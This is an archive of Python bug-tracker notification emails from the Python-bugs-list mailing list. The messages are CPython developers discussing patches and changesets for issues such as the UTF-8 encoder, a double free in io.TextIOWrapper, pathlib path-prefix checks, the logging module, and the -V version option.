New changeset ee3670d9bda6 by Serhiy Storchaka in branch 'default':
Issue #28561: Clean up UTF-8 encoder: remove dead code, update comments, etc.
https://hg.python.org/cpython/rev/ee3670d9bda6

--
nosy: +python-dev

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue27275] KeyError thrown by optimised collections.OrderedDict.popitem()

[Roundup Robot]

Roundup Robot added the comment:

New changeset 3f816eecc53e by Serhiy Storchaka in branch '3.5':
Backed out changeset 9f7505019767 (issue #27275).
https://hg.python.org/cpython/rev/3f816eecc53e

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue28498] tk busy command

[Serhiy Storchaka]

Serhiy Storchaka added the comment:

Added a number of style comments on Rietveld. I believe klappnase could address 
them, but since there are too little time to beta3 and I have a weak hope to 
push this in 3.6, I addressed them myself. Rewritten docstrings and test.

Ned, is it good to add this feature in 3.6? The patch just adds a couple of new 
methods, it doesn't affect existing programs.

--
nosy: +ned.deily
Added file: http://bugs.python.org/file45277/tk_busy_5.diff

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue28524] Set default argument of logging.disable() to logging.CRITICAL

[Vinay Sajip]

Vinay Sajip added the comment:

> The use case I've found is that I often have logging enabled while writing 
> code, and then want to shut it off once I've finished.

You could do this by having a configuration which is quite verbose while doing 
development and then less verbose when in production mode.  Then if an issue 
crops up in production, verbosity could be temporarily turned up in the 
production configuration while diagnosing the issue, then turned down again 
later, without making code changes. Remember that verbosity can be set at the 
handler level too, which sometimes gives finer-grained control of logging 
verbosity.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue28128] Improve the warning message for invalid escape sequences

[Eric V. Smith]

Eric V. Smith added the comment:

I'll work on this later today.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue28499] Logging module documentation needs a rework.

[Vinay Sajip]

Vinay Sajip added the comment:

s/leaving the details/leaving the more narrative aspects/

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue28499] Logging module documentation needs a rework.

[Vinay Sajip]

Vinay Sajip added the comment:

The current documentation makes it very simple for naive users, with the main 
section being a reference and leaving the details to the basic and advanced 
tutorials and the cookbook. This was deliberately done in response to earlier 
feedback that the documentation provided too much detail for simple usage, and 
numerous people at the time responded positively to that set of changes.

I'm happy to look at any proposals to improve the layout of the logging 
documentation, but remember that it must satisfy a lot of different audiences 
at different levels. Is there a link to Florian's talk somewhere? I couldn't 
find anything on the PyCon-fr 2016 website. Is it in English, and if not, is 
there a translation / transcript in English available?

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue28560] Implement `PurePath.startswith` and `PurePath.endswith`

[SilentGhost]

Changes by SilentGhost :


--
resolution: wont fix -> rejected
stage:  -> resolved

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue28560] Implement `PurePath.startswith` and `PurePath.endswith`

[Ram Rachum]

Ram Rachum added the comment:

Thanks.

--
resolution:  -> wont fix
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue28532] Show sys.version when -V option is supplied twice.

[INADA Naoki]

INADA Naoki added the comment:

Oh, it seems I hurried too much.
Thanks to pointing it out.

--
Added file: http://bugs.python.org/file45276/verbose-version3.patch

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue28560] Implement `PurePath.startswith` and `PurePath.endswith`

[Serhiy Storchaka]

Serhiy Storchaka added the comment:

>>> from pathlib import Path
>>> p = Path('/foo/bar')
>>> Path('/foo') in p.parents
True
>>> Path('/spam') in p.parents
False
>>> p.parts[:2] == ('/', 'foo')
True
>>> p.parts[:2] == ('/', 'spam')
False
>>> p.relative_to('/foo')
PosixPath('bar')
>>> p.relative_to('/spam')
Traceback (most recent call last):
  File "", line 1, in 
  File "/usr/lib/python3.5/pathlib.py", line 864, in relative_to
.format(str(self), str(formatted)))
ValueError: '/foo/bar' does not start with '/spam'

--
nosy: +serhiy.storchaka

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue28426] PyUnicode_AsDecodedObject can only return unicode now

[Arfrever Frehtes Taifersar Arahesis]

Arfrever Frehtes Taifersar Arahesis added the comment:

> New changeset 15a494886c5a by Serhiy Storchaka in branch '3.6':
> Issue #28426: Deprecated undocumented functions PyUnicode_AsEncodedObject(),
> https://hg.python.org/cpython/rev/15a494886c5a

s/that encode form str/that encode from str/ in Include/unicodeobject.h

--
nosy: +Arfrever

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue28387] double free in io.TextIOWrapper

[Serhiy Storchaka]

Changes by Serhiy Storchaka :


Added file: http://bugs.python.org/file45275/textiowrapper_clear-2.7.patch

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue28387] double free in io.TextIOWrapper

[Serhiy Storchaka]

Serhiy Storchaka added the comment:

Thank you for your report and patch Sebastian.

In Python 3 the solution can be simpler, just move the line 
"_PyObject_GC_UNTRACK(self);" above the line "textiowrapper_clear(self);". But 
calling PyObject_ClearWeakRefs() also should be moved up. Otherwise 
half-destroyed TextIOWrapper instance can be accessed via weak references. 
Following patches do this (and small refactoring).

--
versions: +Python 3.5, Python 3.6, Python 3.7
Added file: http://bugs.python.org/file45274/textiowrapper_clear-3.5.patch

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue28560] Implement `PurePath.startswith` and `PurePath.endswith`

[Ram Rachum]

Ram Rachum added the comment:

I mean that `/foo` is one of the parent directories.

"there are plenty of options ..." Can you please spell them out precisely? The 
full line of code.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue28259] Ctypes bug windows

[Aristotel]

Aristotel added the comment:

Any update on this? It blocks development of my project.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue28561] Report surrogate characters range in utf8_encoder

[Xiang Zhang]

Changes by Xiang Zhang :


Added file: http://bugs.python.org/file45273/utf8_encoder_v2.patch

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue28532] Show sys.version when -V option is supplied twice.

[Martin Panter]

Martin Panter added the comment:

Sorry, I should have said: the other two files (Misc/python.man and 
Modules/main.c) also need an extra “the”, like you changed in 
Doc/using/cmdline.rst.

Other than that, it looks okay to me. But I guess you could add a quick test 
case in Lib/test/test_cmd_line.py. There’s already one for single -V and 
--version.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue28561] Report surrogate characters range in utf8_encoder

[Serhiy Storchaka]

Changes by Serhiy Storchaka :


--
assignee:  -> serhiy.storchaka
components: +Interpreter Core
versions: +Python 3.6, Python 3.7

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue28560] Implement `PurePath.startswith` and `PurePath.endswith`

[SilentGhost]

SilentGhost added the comment:

Do you mean that /foo was just an arbitrary string, rather than one of the 
parent directories? Because in that case it seems a perfectly correct way to go 
about comparison. If /foo was one of the parents, there are plenty of options: 
.parts, .parents, .relative_to.

It seems like a fairly rare usecase to extend the api.

--
nosy: +SilentGhost

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue28532] Show sys.version when -V option is supplied twice.

[INADA Naoki]

Changes by INADA Naoki :


Added file: http://bugs.python.org/file45272/verbose-version2.patch

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue28561] Report surrogate characters range in utf8_encoder

[Xiang Zhang]

New submission from Xiang Zhang:

In utf8_encoder, when a codecs returns a string with non-ascii characters, it 
raises encodeerror but the start and end position are not perfect. This seems 
like an oversight during evolution. Before, utf8_encoder only recognize one 
surrogate character a time. After 2b5357b38366, it tries to recognize as much 
as possible a time. Patch also includes some cleanup.

--
files: utf8_encoder.patch
keywords: patch
messages: 279712
nosy: haypo, serhiy.storchaka, xiang.zhang
priority: normal
severity: normal
stage: patch review
status: open
title: Report surrogate characters range in utf8_encoder
type: behavior
Added file: http://bugs.python.org/file45271/utf8_encoder.patch

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue26638] Avoid warnings about missing CLI options when building documentation

[Martin Panter]

Martin Panter added the comment:

For the “unittest” module, I added separate text with a link: (see Warning 
control). Similarly for “timeit” in 2.7. Now the only Sphinx warnings I get are 
a handful about syntax highlighting, and two genuine ones relating to the 
missing -b documentation (Issue 11681).

--
resolution:  -> fixed
stage: commit review -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue28532] Show sys.version when -V option is supplied twice.

[Martin Panter]

Martin Panter added the comment:

I left some review comments. Also (as a native English speaker), I think it is 
okay to drop the third line about “multiple times”. You already say it may be 
given twice in the line above.

--
nosy: +martin.panter

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com